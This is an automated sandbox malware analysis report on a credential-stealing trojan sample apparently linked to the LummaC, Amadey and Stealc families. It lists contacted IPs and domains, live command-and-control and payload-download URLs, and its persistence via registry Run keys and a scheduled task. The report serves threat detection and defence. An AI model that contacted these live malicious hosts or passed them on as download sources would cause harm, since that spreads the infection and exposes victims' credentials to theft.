https://c.msn.com/c.gif?rnd=1731834457727&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=fb0b7b14dd1f4cc4b5c9b0fc5e318aba&activityId=fb0b7b14dd1f4cc4b5c9b0fc5e318aba&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=BFAB4113F59E4B45894223E130689428&MUID=1701CF37518866E22255DA0D50AD67DC	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
processhol.sbs	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731834460610&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
p10tgrace.sbs	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731834459913&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://cook-rain.sbs/api	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731834457725&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
p3ar11fter.sbs	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731834460911&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://chrome.cloudflare-dns.com/dns-query	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	false		high
http://www.broofa.com	chromecache_450.5.dr	false		high
https://ntp.msn.com/0	000003.log7.9.dr	false		high
https://docs.google.com/	manifest.json.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php~y	file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/apiVK	029a46b374.exe, 0000001B.00000002.3470889263.0000000000859000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	CFHCBKKFIJJJECAAFCGI.1.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json.9.dr	false		high
https://cook-rain.sbs/	029a46b374.exe, 0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	false		high
https://assets.msn.com	f65874b2-aec3-4815-9b5d-d39871daeb01.tmp.10.dr	false		high
https://www.ecosia.org/newtab/	029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000001.00000002.2638559950.00000000002E7000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php2	file.exe, 00000001.00000002.2666532282.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206U	43f0b859c6.exe, 0000001C.00000002.3474702465.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206ngineer	file.exe, 00000001.00000002.2638559950.0000000000235000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json.9.dr	false		high
http://185.215.113.16/luma/random.exe61395dd	skotes.exe, 0000001A.00000002.3478163595.00000000016B6000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllv	file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content_new.js.9.dr	false		high
https://cook-rain.sbs:443/api	029a46b374.exe, 0000001B.00000002.3470889263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	file.exe, 00000001.00000003.2533999033.0000000023BDF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllj	file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dllR	file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chromewebstore.google.com/	manifest.json0.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.9.dr	false		high
https://msn.comXIDv10	029a46b374.exe, 0000001B.00000003.3469053570.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3468699222.0000000005542000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3468202357.000000000555F000.00000004.00000800.00020000.00000000.sdmp, Cookies.10.dr	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore/	manifest.json0.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	false		high
https://cook-rain.sbs:443/apiontent-Encodingtext/html;	029a46b374.exe, 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllO	file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/G	029a46b374.exe, 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463494156.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/apiA=	029a46b374.exe, 0000001B.00000002.3470889263.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	000003.log7.9.dr	false		high
http://185.215.113.206/C:	43f0b859c6.exe, 0000001C.00000002.3474702465.000000000154D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.php.y	file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exeX	file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/steam/random.exex	skotes.exe, 0000001A.00000002.3478163595.00000000016CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 0000001A.00000002.3478163595.00000000016B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/0	029a46b374.exe, 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463494156.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-staging.corp.google.com/	manifest.json.9.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	false		high
https://apis.google.com	chromecache_450.5.dr	false		high
https://cook-rain.sbs/W	029a46b374.exe, 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/	000003.log7.9.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2670946030.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13376308052217501.9.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllx	file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-autopush.corp.google.com/	manifest.json.9.dr	false		high
http://185.215.113.16/steam/random.exe	skotes.exe, 0000001A.00000002.3478163595.00000000016CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exec61395d7	skotes.exe, 0000001A.00000002.3478163595.00000000016B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288	000003.log7.9.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpfy	file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.218.232.148	unknown	United States	24835	RAYA-ASEG	false
3.170.115.43	unknown	United States	16509	AMAZON-02US	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.218.232.182	unknown	United States	24835	RAYA-ASEG	false
23.221.22.207	unknown	United States	20940	AKAMAI-ASN1EU	false
13.89.179.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.110	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.180	unknown	United States	20940	AKAMAI-ASN1EU	false
23.47.50.150	unknown	United States	16625	AKAMAI-ASUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.122	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
184.25.237.152	unknown	United States	16625	AKAMAI-ASUS	false
142.250.185.174	play.google.com	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
142.250.186.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557073
Start date and time:	2024-11-17 10:06:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@86/306@35/27
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 142.250.185.142, 66.102.1.84, 34.104.35.123, 142.250.185.131, 142.250.184.234, 172.217.16.202, 216.58.206.74, 142.250.185.234, 142.250.186.170, 142.250.186.106, 142.250.185.170, 142.250.185.74, 172.217.18.10, 142.250.181.234, 142.250.186.138, 216.58.206.42, 142.250.185.202, 142.250.186.42, 142.250.184.202, 142.250.185.138, 172.217.18.106, 172.217.16.138, 142.250.74.202, 192.229.221.95, 199.232.210.172, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 216.58.206.78, 13.107.6.158, 2.19.126.152, 2.19.126.145, 20.82.9.214, 88.221.110.179, 88.221.110.195, 2.23.209.149, 2.23.209.133, 2.23.209.187, 2.23.209.158, 2.23.209.150, 2.23.209.161, 2.23.209.141, 2.23.209.185, 2.23.209.135, 2.23.209.140, 2.23.209.130, 2.23.209.182, 2.23.209.189, 2.23.209.179, 2.23.209.181, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.39, 2.23.209.35, 2.23.209.34, 2.23.209.40, 2.23.209.33, 2.23.209.32, 2.23.209.43, 2.23.209.42, 2.23.209.38, 20.93.72.182, 2.23.209.177
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, prod-agic-we-1.westeurope.cloudapp.azure.com, a1858.dscd.akamai.net, c
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:07:42	API Interceptor	39x Sleep call for process: file.exe modified
04:09:02	API Interceptor	129x Sleep call for process: skotes.exe modified
04:09:13	API Interceptor	3x Sleep call for process: 029a46b374.exe modified
10:07:53	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
10:09:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 029a46b374.exe C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe
10:09:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 029a46b374.exe C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
23.218.232.148	file.exe	Get hash	malicious	Stealc, Vidar	Browse
3.170.115.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
3.170.115.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.96.3
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Xa04iTOvv5.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	hmips.elf	Get hash	malicious	Mirai	Browse	52.240.43.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
